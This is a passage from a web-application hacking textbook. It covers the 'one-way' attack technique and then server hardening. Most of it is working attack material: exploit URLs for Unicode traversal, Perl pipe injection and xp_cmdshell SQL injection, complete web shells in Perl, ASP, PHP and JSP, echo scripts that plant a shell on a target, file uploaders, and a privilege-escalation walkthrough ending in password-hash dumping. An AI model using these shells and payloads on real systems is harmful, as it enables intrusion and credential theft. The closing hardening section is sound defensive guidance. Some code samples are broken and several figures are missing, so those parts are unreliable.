Preventing access to IPs detected as malicious can be set for a reasonable amount of

time, ranging from 30 minutes to 1 week.

Hacking Web Servers

According to the research made by Ponemon Institute, web hacking and web based attacks are

the most costly for companies. The research results can be seen here:

These is a techniques rely purely on HTTP traffic to attack and penetrate web servers and application servers. This technique was formulated to demonstrate that having tight firewalls or SSL does not really matter when it comes to web application attacks. The premise of the one-way technique is that only valid HTTP requests are allowed in and only valid HTTP responses are allowed out of the firewall.

Components of a generic web application system

There are four components in web application systems, namely the web client which is usually a browser, the front-end web server, the application server and for a vast majority of applications, the database server. The following diagram shows how these components fit together.

Page 130: Advanced web application hacking and exploitation

129 | P a g e

The web application server hosts all the application logic, which may be in the form of scripts, objects or compiled binaries. The front-end web server acts as the application interface to the outside world, receiving inputs from the web clients via HTML forms and HTTP, and delivering output generated by the application in the form of HTML pages. Internally, the application interfaces with back-end database servers to carry out transactions.

The firewall is assumed to be a tightly configured firewall, allowing nothing but incoming HTTP requests and outgoing HTML replies.

URL mappings to the web application system

While interacting with a web application, the URLs that get sent back and forth between the browser and the web server typically have the following format:

http:// server / path / application? Parameters

The following diagram illustrates how different parts of the URL map to various areas in the web application system:

Page 131: Advanced web application hacking and exploitation

130 | P a g e

The protocol (http or https) is allowed in and out by the firewall. The server and path parts are parsed by the front-end web server. Any vulnerabilities

present in URL interpretation (e.g. Unicode, double-decode) can be exploited by tampering with the server and path of the URL.

The application is executed by the application server with which it is configured or registered. Tampering with this part may result in exploiting vulnerabilities present with the application server. (e.g. compiling and executing arbitrary files using the JSP servlet handler)

Parameters supplied to the application, if not properly validated, may result in vulnerabilities specific to that application. (e.g. inserting pipe "|" characters to the open() call in Perl)

If a parameter is used as a part of an SQL database query, poorly validated parameters may lead to SQL injection attacks. (e.g. execution of arbitrary commands using stored procedures such as "xp_cmdshell")

Flowchart for a one-way web hack Consider the example where an attacker finds a vulnerable web application, and is able to exploit it using techniques such as the ones mentioned previously. The attacker has achieved arbitrary command execution, but due to the restrictive firewall, is unable to proceed further into the network. To make an attack effective, two things are essential:

1. Interactive terminal access - for running commands to pilfer the attacked server or penetrate further into the network.

2. File transfer access - for transferring attack tools such as port scanners, rootkits, etc.

Page 132: Advanced web application hacking and exploitation

131 | P a g e

A tight firewall can make it very difficult to achieve the above objectives; however, it is not

impossible. To get around these restrictions, with a little bit of web application programming

knowledge, we can create a web based command prompt and a file uploader.

Before proceeding further we shall take a preview of the various stages of the one-way hack, as illustrated by the following diagram:

Finding the entry point The one-way hack begins when we are able to achieve remote command execution on the target web server. We can use any of the common techniques used to attack web servers. We shall present a few examples of various ways of achieving remote command execution based on different types of URL mappings as described previously. A detailed discussion on web server and application vulnerabilities is beyond the scope of this paper.

Our objective is to create a backdoor by moving the shell interpreter (/bin/sh, cmd.exe, etc.) to an area within the web server's document root. This way, we can invoke the shell interpreter through a URL. We present three examples which illustrate how to create backdoors using various exploitation techniques.

Page 133: Advanced web application hacking and exploitation

132 | P a g e

The diagram below illustrates some of the techniques used to find an entry point:

Exploiting URL parsing

The Unicode / Double decode attack is a classic example of a URL parsing vulnerability. The URL below copies the command interpreter - cmd.exe - into the "scripts/" directory within the web server's document root:

http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+

c:\winnt\system32\cmd.exe+c:\inetpub\scripts

Exploiting poorly validated input parameters

In this example, an unchecked parameter is passed from the URL to a Perl CGI script news.cgi using the open() call in an insecure manner:

http://www2.example.com/cgi-bin/news.cgi?story=101003.txt|cp+/bin/sh+

/usr/local/apache/cgi-bin/sh.cgi|

The shell (/bin/sh) gets copied into the cgi-bin directory as sh.cgi.

Page 134: Advanced web application hacking and exploitation

133 | P a g e

Exploiting SQL injection

Here, we show how SQL injection can be used to invoke a stored procedure on a database server, and run commands via the stored procedure:

http://www3.example.com/product.asp?id=5%01EXEC+master..xp_cmdshell+

'copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\'

Invoking the command interpreter

Our objective of creating a backdoor by moving the command interpreter or the shell into the web document root is to be able to invoke it remotely over HTTP. The HTTP POST method is best suited for this purpose. Using POST, the input data gets passed to the invoked resource over standard input, and the web server returns the output generated by standard output back over the HTTP connection.

We shall illustrate how to send commands to command interpreters over POST, with two examples - one for CMD.EXE on IIS and Windows NT and the other for sh.cgi (which is a copy of /bin/sh) on Apache and Linux.

Posting commands to CMD.EXE

The example below shows two commands being run with CMD.EXE, which is accessible on http://www1.example.com/scripts/cmd.exe. The POST request is shown in blue letters.

$ nc www1.example.com 80

POST /scripts/cmd.exe HTTP/1.0

Host: www1.example.com

Content-length: 17

ver

dir c:\

exit

HTTP/1.1 200 OK

Server: Microsoft-IIS/4.0

Date: Wed, 08 Dec 1999 06:13:19 GMT

Content-Type: application/octet-stream

Microsoft(R) Windows NT(TM)

(C) Copyright 1985-1996 Microsoft Corp.

C:\Inetpub\scripts>ver

Page 135: Advanced web application hacking and exploitation

134 | P a g e

Windows NT Version 4.0

C:\Inetpub\scripts>dir c:\

Volume in drive C has no label.

Volume Serial Number is E43A-2A0A

Directory of c:\

10/04/00 05:28a <DIR> WINNT

10/04/00 05:31a <DIR> Program Files

10/04/00 05:37a <DIR> TEMP

10/04/00 07:01a <DIR> Inetpub

10/04/00 07:01a <DIR> certs

11/28/00 05:12p <DIR> software

12/06/00 03:46p <DIR> src

12/07/00 12:50p <DIR> weblogic

12/07/00 12:53p <DIR> weblogic_publish

12/07/99 01:11p <DIR> JavaWebServer2.0

12/07/99 06:49p 134,217,728 pagefile.sys

12/07/99 07:24a <DIR> urlscan

12/07/99 04:55a <DIR> Netscape

13 File(s) 134,217,728 bytes

120,782,848 bytes free

Some care needs to be taken in order for CMD.EXE to receive the commands properly, and for the web server to return the output of CMD.EXE properly. In the above example, we have included the "exit" command to ensure that the input stream to CMD.EXE terminates properly. The Content-length of the POST request is also calculated accordingly, keeping in mind the extra characters taken by "exit"

Posting commands to /bin/sh

The example below shows three commands being run with /bin/sh, which is accessible on http://www2.example.com/cgi-bin/sh.cgi. The POST request is shown in bold letters.

$ nc www2.example.com 80

POST /cgi-bin/sh.cgi HTTP/1.0

Host: www2.example.com

Content-type: text/html

Content-length: 60

Page 136: Advanced web application hacking and exploitation

135 | P a g e

echo 'Content-type: text/html'

echo

uname

id

ls -la /

exit

HTTP/1.1 200 OK

Date: Thu, 27 Nov 2003 20:47:20 GMT

Server: Apache/1.3.12

Connection: close

Content-Type: text/html

Linux

uid=99(nobody) gid=99(nobody) groups=99(nobody)

total 116

drwxr-xr-x 19 root root 4096 Feb 2 2002 .

drwxr-xr-x 19 root root 4096 Feb 2 2002 ..

drwxr-xr-x 2 root root 4096 Jun 20 2001 bin

drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot

drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev

drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc

drwxr-xr-x 8 root root 4096 Dec 1 2001 home

drwxr-xr-x 4 root root 4096 Jun 19 2001 lib

drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found

drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt

drwxr-xr-x 3 root root 4096 Feb 2 2002 opt

dr-xr-xr-x 37 root root 0 Nov 28 2003 proc

drwxr-x--- 9 root root 4096 Feb 9 2003 root

drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin

drwxrwxr-x 2 root root 4096 Feb 2 2002 src

drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp

drwxr-xr-x 4 root root 4096 Feb 2 2002 u01

drwxr-xr-x 21 root root 4096 Feb 2 2002 usr

drwxr-xr-x 16 root root 4096 Jun 19 2001 var

$

The care and feeding of /bin/sh over Apache is slightly different. Apache expects a well formed HTTP response header from all its CGI programs, hence we have to prepend the lines "Content-type: text/html" in the output. The two "echo" commands are for this purpose.

Page 137: Advanced web application hacking and exploitation

136 | P a g e

Automating the POST process

We have created two Perl scripts post_cmd.pl and post_sh.pl to automate the task of preparing the proper POST requests for the commands and sending them to the web server. The syntax for invoking post_cmd.pl is as follows:

usage: post_cmd.pl url [proxy:port] < data

By Saumil Shah (c) net-square 2001

post_cmd.pl takes all the data to be POSTed to the URL as

standard input. Either enter the data manually and hit ^D (unix)

or ^Z (dos) to end; or redirect the data using files or pipes

post_cmd.pl is written such that it can tunnel the POST requests over an HTTP proxy server as well. post_sh.pl is on similar lines.

The examples below show the same results being derived using the Perl scripts instead of forming our own POST requests:

Output of post_cmd.pl

$ ./post_cmd.pl http://www1.example.com/scripts/cmd.exe

ver

dir c:\

^D

HTTP/1.1 200 OK

Server: Microsoft-IIS/4.0

Date: Wed, 08 Dec 1999 06:05:46 GMT

Content-Type: application/octet-stream

Microsoft(R) Windows NT(TM)

(C) Copyright 1985-1996 Microsoft Corp.

C:\Inetpub\scripts>ver

Windows NT Version 4.0

C:\Inetpub\scripts>dir c:\

Volume in drive C has no label.

Volume Serial Number is E43A-2A0A

Directory of c:\

10/04/00 05:28a <DIR> WINNT

Page 138: Advanced web application hacking and exploitation

137 | P a g e

10/04/00 05:31a <DIR> Program Files

10/04/00 05:37a <DIR> TEMP

10/04/00 07:01a <DIR> Inetpub

10/04/00 07:01a <DIR> certs

11/28/00 05:12p <DIR> software

12/06/00 03:46p <DIR> src

12/07/00 12:50p <DIR> weblogic

12/07/00 12:53p <DIR> weblogic_publish

12/07/99 01:11p <DIR> JavaWebServer2.0

12/07/99 06:49p 134,217,728 pagefile.sys

12/07/99 07:24a <DIR> urlscan

12/07/99 04:55a <DIR> Netscape

13 File(s) 134,217,728 bytes

120,782,848 bytes free

C:\Inetpub\scripts>exit

$

Output of post_sh.pl

$ ./post_sh.pl http://www2.example.com/cgi-bin/sh.cgi

uname

id

ls -la /

^D

HTTP/1.1 200 OK

Date: Thu, 27 Nov 2003 20:43:54 GMT

Server: Apache/1.3.12

Connection: close

Content-Type: text/html

Linux

uid=99(nobody) gid=99(nobody) groups=99(nobody)

total 116

drwxr-xr-x 19 root root 4096 Feb 2 2002 .

drwxr-xr-x 19 root root 4096 Feb 2 2002 ..

drwxr-xr-x 2 root root 4096 Jun 20 2001 bin

drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot

drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev

drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc

drwxr-xr-x 8 root root 4096 Dec 1 2001 home

drwxr-xr-x 4 root root 4096 Jun 19 2001 lib

Page 139: Advanced web application hacking and exploitation

138 | P a g e

drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found

drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt

drwxr-xr-x 3 root root 4096 Feb 2 2002 opt

dr-xr-xr-x 37 root root 0 Nov 28 2003 proc

drwxr-x--- 9 root root 4096 Feb 9 2003 root

drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin

drwxrwxr-x 2 root root 4096 Feb 2 2002 src

drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp

drwxr-xr-x 4 root root 4096 Feb 2 2002 u01

drwxr-xr-x 21 root root 4096 Feb 2 2002 usr

drwxr-xr-x 16 root root 4096 Jun 19 2001 var

$

In this manner, we can issue multiple commands to the target web server using HTTP POST requests. This concept shall be used to create arbitrary files on the web server, as discussed in section 4.1

Web based command prompt After achieving remote command execution, we need to be able to interactively run commands on the target web server. Common ways of doing this would be to either spawn a shell or bind it to a TCP port on the target web server, or to launch a shell connection back to a TCP listener, or to launch an xterm to a remote X display. However, given a tight firewall which allows only HTTP requests as incoming traffic and HTTP responses as outbound traffic, such techniques will not work. We shall present here examples of "web based command prompts" to get around these restrictions.

A web based command prompt provides the functionality of a semi-interactive shell terminal, via an HTML form. The form accepts the command as an <INPUT> field and displays the resultant output as pre-formatted text.

The reason why web based command prompts are semi-interactive is because they do not save the state of the terminal, such as the current working directory, system environment, etc. These can be implemented by session based HTML forms, however, that is beyond the scope of this paper.

Commands executed by such web based command prompts assume the privileges of the web server process. Typically, for UNIX systems running Apache, the uid is "nobody", whereas for Windows systems running IIS, the privileges are those of "IUSR_machinename" or "IWAM_machinename"

Given below are four examples of a web based command prompt:

Page 140: Advanced web application hacking and exploitation

139 | P a g e

Perl - perl_shell.cgi

The following script using Perl provides a semi-interactive web based command prompt.

#!/usr/bin/perl

require "cgi-lib.pl";

print &PrintHeader;

print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n";

print "<INPUT NAME=cmd TYPE=TEXT>\n";

print "<INPUT TYPE=SUBMIT VALUE=Run>\n";

print "</FORM>\n";

&ReadParse(*in);

if($in{'cmd'} ne "") {

print "<PRE>\n$in{'cmd'}\n\n";

print `/bin/bash -c "$in{'cmd'}"`;

print "</PRE>\n";

}

Page 141: Advanced web application hacking and exploitation

140 | P a g e

ASP - cmdasp.asp

The following ASP script is a web based command prompt for Windows servers running IIS. cmdasp.asp is a modified version of the original script written by Maceo - maceo(at)dogmile.com

<%

Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile

On Error Resume Next

Set oScript = Server.CreateObject("WSCRIPT.SHELL")

Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")

Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

szCMD = Request.Form(".CMD")

If (szCMD <> "") Then

szTempFile = "C:\" & oFileSys.GetTempName( )

Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)

Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

Page 142: Advanced web application hacking and exploitation

141 | P a g e

%>

<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">

<input type=text name=".CMD" size=45 value="<%= szCMD %>">

<input type=submit value="Run">

</FORM>

<PRE>

<%

If (IsObject(oFile)) Then

On Error Resume Next

Response.Write Server.HTMLEncode(oFile.ReadAll)

oFile.Close

Call oFileSys.DeleteFile(szTempFile, True)

End If

%>

</PRE>

Page 143: Advanced web application hacking and exploitation

142 | P a g e

The advantage of this script over other ASP based command prompt scripts is the fact that no COM components are required to be registered for executing shell commands. No administrator privileges are required either.

PHP - sys.php

Creating a web based shell with PHP is very simple. The following script illustrates a web based shell in PHP:

<FORM ACTION="sys.php" METHOD=POST>

Command: <INPUT TYPE=TEXT NAME=cmd>

<INPUT TYPE=SUBMIT VALUE="Run">

<FORM>

<PRE>

<?php

if(isset($cmd)) {

system($cmd);

}

?>

<PRE>

JSP - cmdexec.jsp

The following JSP code is a web based command prompt for J2EE application servers supporting Java Server Pages.

<FORM METHOD=GET ACTION='cmdexec.jsp'>

<INPUT name='cmd' type=text>

<INPUT type=submit value='Run'>

</FORM>

<%@ page import="java.io.*" %>

<%

String cmd = request.getParameter("cmd");

Page 144: Advanced web application hacking and exploitation

143 | P a g e

String output = "";

if(cmd != null) {

String s = null;

try {

Process p = Runtime.getRuntime().exec(cmd);

BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));

while((s = sI.readLine()) != null) {

output += s;

}

}

catch(IOException e) {

e.printStackTrace();

}

}

%>

<pre>

<%=output %>

</pre>

Any web application programming language, which allows native OS commands to be run, can be used to create a web based command prompt.

Installing the Web based command prompt

Using remote command execution, we can run commands such as "echo" and redirect the output into a file. Using multiple "echo" commands, we can create a file, one line at a time, on the remote web server. The only pre-requisite here is that we need a writeable directory on the target web server.

create_cmdasp.bat The following is a set of commands that can be executed on a Windows DOS prompt to recreate

the file cmdasp.asp as shown in section 4.0.2:

echo ^<^% > cmdasp.asp

echo Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile >> cmdasp.asp

echo On Error Resume Next >> cmdasp.asp

echo Set oScript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.asp

echo Set oScriptNet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.asp

echo Set oFileSys = Server.CreateObject(^"Scripting.FileSystemObject^")

>> cmdasp.asp

Page 145: Advanced web application hacking and exploitation

144 | P a g e

echo szCMD = Request.Form(^".CMD^") >> cmdasp.asp

echo If (szCMD ^<^> ^"^") Then >> cmdasp.asp

echo szTempFile = ^"C:\^" & oFileSys.GetTempName() >> cmdasp.asp

echo Call oScript.Run(^"cmd.exe /c ^" ^& szCMD ^& ^" ^> ^" ^& szTempFile,0,True)

>> cmdasp.asp

echo Set oFle = oFileSys.OpenTextFile(szTempFile,1,False,0) >> cmdasp.asp

echo End If >> cmdasp.asp

echo ^%^> >> cmdasp.asp

echo ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"POST^"^>

>> cmdasp.asp

echo ^<input type=text name=^".CMD^" size=70 value=^"^<^%= szCMD ^%^>^"^> >>

cmdasp.asp

echo ^<input type=submit value=^"Run^"^> >> cmdasp.asp

echo ^</FORM^> >> cmdasp.asp

echo ^<PRE^> >> cmdasp.asp

echo ^<^% >> cmdasp.asp

echo If (IsObject(oFile)) Then >> cmdasp.asp

echo On Error Resume Next >> cmdasp.asp

echo Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.asp

echo oFile.Close >> cmdasp.asp

echo Call oFileSys.DeleteFile(szTempFile, True) >> cmdasp.asp

echo End If >> cmdasp.asp

echo ^%^> >> cmdasp.asp

echo ^<^/PRE^> >> cmdasp.asp

The above commands can be run through a script such as post_cmd.pl to create the file "cmdasp.asp" on the target web server. In the same manner, any arbitrary text file can be re-created on the server, using commands such as "echo". Shell meta-characters such as &, ", <, >, |, %, etc. should be properly escaped with the appropriate escape character. On most Unix shells, the escape character is "\", and on the Windows command shell, the escape character is "^". (Thanks to Brian Lewis for pointing this out to me!)

Other web based command prompts can be re-created on target web servers in the same manner.

Re-creating arbitrary binary files

On shells like the Unix Bourne shell, it is possible to use the "echo" command to write arbitrary characters to a file, using the "\xHH" format, where HH stands for a two digit hexadecimal value. A binary file can be represented by a string of two digit hexadecimal numbers such as:

echo -e "\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE" > file

Page 146: Advanced web application hacking and exploitation

145 | P a g e

It is also possible to re-create arbitrary binary files on Windows, even though CMD.EXE cannot write arbitrary characters. The trick lies in using DEBUG.EXE in scripted or non-interactive mode to create arbitrary binary files.

File uploader In addition to being able to run commands on the target web server, an attacker would also be interested in transferring files into the web server. Usual techniques such as FTP, NFS, NetBIOS, etc. do not work since the firewall would prevent all these. To get around this obstacle, we need to create a file uploader. The technique mentioned in section 4.1.2 can be painfully slow for large files. There is a better option, though.

It is possible to upload files using the HTTP POST Multipart-MIME [3] method. The contents of the file get sent to the server in an HTTP POST request. On the server, an upload script receives these contents and saves them into a file. A detailed discussion of HTTP Multipart-MIME POST requests is beyond the scope of this document.

To perform file uploads, we would require a directory where the web server process (nobody, IUSR_machinename, IWAM_machinename, etc.) has privileges to create and write to files.

Given below are three examples of such upload scripts:

ASP - upload.asp and upload.inc

The following two files contain code to receive HTTP POST Multipart-MIME data and save it to a file. ASP does not contain built-in routines to decode Multipart-MIME encoded data, hence a supplementary file upload.inc containing the appropriate routines is required.

upload.asp

<form method=post ENCTYPE="multipart/form-data">

<input type=file name="File1">

<input type="submit" Name="Action" value="Upload">

</form>

<hr>

<!--#INCLUDE FILE="upload.inc"-->

<%

If Request.ServerVariables("REQUEST_METHOD") = "POST" Then

Set Fields = GetUpload()

If Fields("File1").FileName <> "" Then

Fields("File1").Value.SaveAs Server.MapPath(".") & "\" & Fields("File1").FileName

Response.Write("<LI>Upload: " & Fields("File1").FileName)

End If

End If

Page 147: Advanced web application hacking and exploitation

146 | P a g e

%>

Perl - upload.cgi

Using Perl and cgi-lib.pl, it is easy to create an uploader script. The following example shows how:

#!/usr/bin/perl

require "cgi-lib.pl";

print &PrintHeader;

print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>\n";

print "File path: <input type=file name=upfile>\n";

print "<input type=submit value=upload></form>\n";

&ReadParse;

Page 148: Advanced web application hacking and exploitation

147 | P a g e

PHP - upload.php

Creating an uploader with PHP is just as simple.

<FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST>

<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000000">

<input type="File" name="userfile" size="30">

<INPUT TYPE="submit" VALUE="upload">

</FORM>

<?php

if($userfile_name != "") {

copy("$userfile", "./$userfile_name") or die("Couldnt copy file");

echo "File name: $userfile_name<br>\n";

echo "File size: $userfile_size bytes<br>\n";

echo "File type: $userfile_type<br>\n";

}

?>

Once we have both command execution and file upload facilities over HTTP, we can do pretty

much whatever we please with the target web server. It would be possible to:

Discover source code and configuration files on the web server,

discover the internal network (if any) that the target web server lies on,

upload attack tools on the web server and execute them,

... and much more

An obvious next step is to attempt to escalate privileges, since we are bound by the privileges

extended to us by the web server process. The next section discusses just that.

One-Way Privilege Escalation Web based command prompts; inherit the privileges of the process under which they are

running. Usually, these privileges are restricted user level privileges, unless the web server

process is running with elevated privileges. A few application servers, which plug-in to the front

end web server, run with elevated privileges. To take the attack deeper, in most cases, one

Page 149: Advanced web application hacking and exploitation

148 | P a g e

would need some sort of privilege escalation, after installing a web based command prompt and

an HTTP file uploader.

Privilege escalation attacks are nothing unique. There are many exploits for various operating

systems which result in escalating the privileges to either the super user, or to a more privileged

user. Most privilege escalation attacks can be adapted to the one-way attack technique.

A detailed discussion of privilege escalation attacks is not within the scope of this paper. We

shall discuss two examples of privilege escalation attacks, "Microsoft IIS 5.0 In-Process Table

Privilege Elevation Vulnerability" for the Windows and IIS platform, and the "Linux Ptrace/Setuid

Exec Vulnerability" for the Linux and Apache platform.

Care must be taken that the privilege escalation exploit runs non-interactively, i.e. it should not

require an interactive shell, an interactive terminal, a GUI console, etc. For this example, we had

to modify the Linux ptrace exploit to adapt it for one-way use.

Windows/IIS privilege escalation

Let us take the case of www1.example.com, which is a Windows 2000 server running IIS 5.0. We

shall assume that is has already been compromised, and a file uploader script upload.asp as

shown in section is present on this server.

Uploading the Windows attack tools

We shall now upload a web based command prompt - cmdasp.asp, as explained in section and

two more binaries - idq.dll and pwdump.exe. idq.dll is a privilege escalation exploit which takes

advantage of the Microsoft IIS 5.0 In-Process Table Privilege Elevation Vulnerability. Upon

invocation, it adds the IUSR_machinename and IWAM_machinename accounts to the

Administrators group, thereby giving administrative privileges to all the processes and

applications run under the IIS process, including the web based command prompt. pwdump.exe

is a binary to dump the password hashes, and requires administrative privileges to run.

The screenshot below shows these three binaries being uploaded on www1.example.com.

Page 150: Advanced web application hacking and exploitation

149 | P a g e

We can check whether the files have been successfully uploaded using cmdasp.asp and running

the "dir" command, as shown below:

Page 151: Advanced web application hacking and exploitation

150 | P a g e

We shall now check the members of the Administrators group, by issuing the command "net

localgroup administrators" as shown below:

The only member of the Administrators group is the Administrator user.

6.1.2 Idq.dll - privilege escalation

The next step is to attempt to invoke idq.dll, to escalate the privileges of the

IUSR_machinename and IWAM_machinename accounts. The process is very simple; The

following URL has to be accessed on the web server. No results are displayed, otherwise:

Instead, the connection times out after a while. This indicates that the attack has most likely

succeeded.

To verify if the attack has indeed succeeded, we shall now check the members of the

Administrators group again, as shown below:

Page 152: Advanced web application hacking and exploitation

151 | P a g e

The IUSR_W2KVM and IWAM_W2KVM accounts are now members of the Administrators group.

Therefore all commands executed via cmdasp.asp assume administrative privileges, as is

demonstrated by running the pwdump.exe binary, shown below:

We now have full administrative control of www1.example.com

Page 153: Advanced web application hacking and exploitation

152 | P a g e

Secure Website Architecture

Multi-tier architecture

In software engineering, multi-tier architecture (often referred to as n-tier architecture) is

a client–server architecture in which the presentation, the application processing, and the data

management are logically separate processes. For example, an application that

uses middleware to service data requests between a user and a database employs multi-tier

architecture. The most widespread use of multi-tier architecture is the three-tier architecture.

N-tier application architecture provides a model for developers to create a flexible and reusable

application. By breaking up an application into tiers, developers only have to modify or add a

specific layer, rather than have to rewrite the entire application over. There should be a

presentation tier, a business or data access tier, and a data tier.

The concepts of layer and tier are often used interchangeably. However, one fairly common

point of view is that there is indeed a difference, and that a layer is a logical structuring

mechanism for the elements that make up the software solution, while a tier is a physical

structuring mechanism for the system infrastructure.

Page 154: Advanced web application hacking and exploitation

153 | P a g e

This architecture ensures high security, when only the presentation tier (web server) is exposed

to the internet and communicates internally and securely with the next tier.

In order to ensure the Defense-In-Depth concept and principals are implemented, strict firewall

rules and filtering mechanisms separate the communication between each tier.

Another common concept to reduce the risk exposure factor is to use different platforms and

operating systems in each tier, so that a probable attacker won’t have a “Hack One – Hack Them

All” chances. The probability of an attacker having remote code execution exploits matching the

exact version of the different operating systems in each tier, is of a very low probability.

Page 155: Advanced web application hacking and exploitation

154 | P a g e

Secure Domains and Subdomain separation

Creating Cookies

HTTPOnly

Makes sure the cookie is not accessible by the browser high level code (JavaScript…)

Path

Makes sure the cookie will be sent by the browser only for pages/files under the

specified path. For Example: “path=/store/”. The cookie will not be sent to a vulnerable

file in a different application such as “/old_store/xss_vulnerable.asp”.

This feature also protects against some in the web server itself such as “Apache Error

Page UTF-7 XSS”

Expires

This parameter must be used in correlation to the application session expiration

timeout. For example, in IIS applications the default session timeout is 20 minutes,

which is 1200 seconds, therefore the expires parameters of that session cookie should

be 1200 and the server’s session handling mechanism must also delete it after 1200

seconds.

Domain

This parameter ensures the cookie will only be sent by the browser to this domain. This

is especially useful web correct web application design is utilized and applications are

divided into subdomains. Therefore each subdomain can have its own cookies that

provide its own credentials, permission levels and expiration timeouts.

Secure

This parameter ensures that the browser will never send this specific cookie under an

unsecure connection such as http. This protects against network sniffing and network

based man in the middle attacks.

Page 156: Advanced web application hacking and exploitation

155 | P a g e

Managing Multiple Cookie for Multiple Authentication/Permission

Levels

Opposed to the basic understanding of session security, the cookie created in the login process

doesn’t have to be a “full-permission” cookie that allows the user to do anything in his account.

This idea of separation means there is several different levels of cookies.

Let’s take a webmail system to implement some examples.

While there is a “Basic/Standard” cookie level, which allows the user to execute the day-to-day

basic operations that he usually uses, such as: Read Email, Compose New Email, Send Email, and

Delete Email to Trash?

In a system implementing this model, there will be another cookie that allows the user to do the

less common and “highly dangerous” actions such as: Empty Trash, Change Password, Change

Recovery Questions, Changes Recovery Email, and Add Mail Forwarding Filters.

While a regular user is logged in and he has a standard cookie, when he clicks on a feature that

is not part of the day-to-day use and requires a different/higher privilege cookie, then the user is

asked to login again with the same password or with a special password, like an extra PIN code

and when authenticated the feature executes.

This process decreases the exposure factor of the users in the system by 90% since, most of the

time the user doesn’t have the high privilege cookie but he is exposed to attacks, so when a

successful attack occurs, the attacker can’t do anything critical.

Working Securely with User HTML content 1. Filtering all user input via HTML, JavaScript, HTTP Get/Post/Cookie

2. Saving the data in database, avoiding usage file systems.

3. Working securely with the database:

a. Using only prepared Statements

b. separating write connections from read connections

4. Using dynamic content assignment to HTML objects with values originating from the

database and from user input.

Examples:

Page 157: Advanced web application hacking and exploitation

156 | P a g e

Storing Data Escaped In JavaScript:

var data_to_assign = [“escaped_for_js_value1”, “escaped_for_js_label2”];

document.getElementById(“user_label”).innerText = unescape(assign[1]);

100% safe - Storing Data in Base64 in JavaScript:

var data_to_assign = [“bXNhZHNhZA==”, “bXl2YWx1ZQ==”];

document.getElementById(“user_label”).innerText = base64_decode(assign[1]);

Securing IIS 7/7.5 + Microsoft SQL Server 2008

IIS Dynamic IP Restrictions Module: The mod_evasive of IIS

IIS has got a module which is the exact similar of the well-known Apache module, mod_evasive.

These modules automatically detect a user’s diversion from a normal user activity

and immediately block it for a certain amount of time.

This is very useful to deny basic Denial of Service attacks and to give a hard time to someone

who is crawling/Spidering your website to find hidden pages and vulnerabilities.

It can be downloaded here: http://www.iis.net/download/dynamiciprestrictions

The installation is practically “Next Next”, Thanks to the “Web Platform Installer”

Page 158: Advanced web application hacking and exploitation

157 | P a g e

Hardening IIS SSL with IISCrypto – Disabling Weak Ciphers

The free IISCrypto tool can be downloaded at:

https://www.nartac.com/Products/IISCrypto/Default.aspx

The IIS HTTPS (SSL) Server can be hardened to support FIPS 140-2 or PCI-DSS SSL security level in

1 single click!

Page 159: Advanced web application hacking and exploitation

158 | P a g e

Hardening IIS 7.5 on Windows 2008 Server R2 SP1

The default IIS 7.5 installation does not include the IIS-Metabase Package, which is required for

installing URLScan (current version 3.1).

The IIS-Metabase package can be installed by:

CMD /C START /w PKGMGR.EXE /l:log.etw /iu:IIS-Metabase

It turns out that in IIS 7.5, URLScan will not run “out of the box” since it was installed. It must be

configured to be at the bottom of the ISAPI Filter chain for it to operate properly:

Page 160: Advanced web application hacking and exploitation

159 | P a g e

Then can configure “%windir%\system32\inetsrv\urlscan\urlscan.ini” to report it as Apache

Redirecting all requests from HTTP to HTTPS using IIS RewriteModule is done in the following

sequence:

Page 161: Advanced web application hacking and exploitation

160 | P a g e

Disabling Caching of Pages (will be applied for any page under that website, so make sure you

are configuring the HTTPS one)

Cache-Control: no-store,no-cache, must-revalidate,post-check=0, pre-check=0,max-age=0

Pragma: no-cache

Adding Browser Security Related HTTP Headers:

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

It looks like this:

Page 162: Advanced web application hacking and exploitation

161 | P a g e

Finally, we can test to see how it actually reacts:

telnet <server> 80

GET / HTTP/1.0

And see:

HTTP/1.1 301 Moved Permanently

Cache-Control: no-store,no-cache, must-revalidate,post-check=0, pre-check=0,max-

age=0

Pragma: no-cache

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: Apache

Date: Thu, 12 May 2011 10:46:48 GMT

Connection: close

Content-Length: 155

Page 163: Advanced web application hacking and exploitation

162 | P a g e

Securing Apache

Apache Hardening

Apache SSL Hardening:

In path: /etc/httpd/conf.d/ssl.conf

Change:

# Make sure the SSL Engine is on, especially since we need a proxy

SSLEngine on

SSLProxyEngine on

# Make sure SSL is forcefully required

SSLOptions +StrictRequire

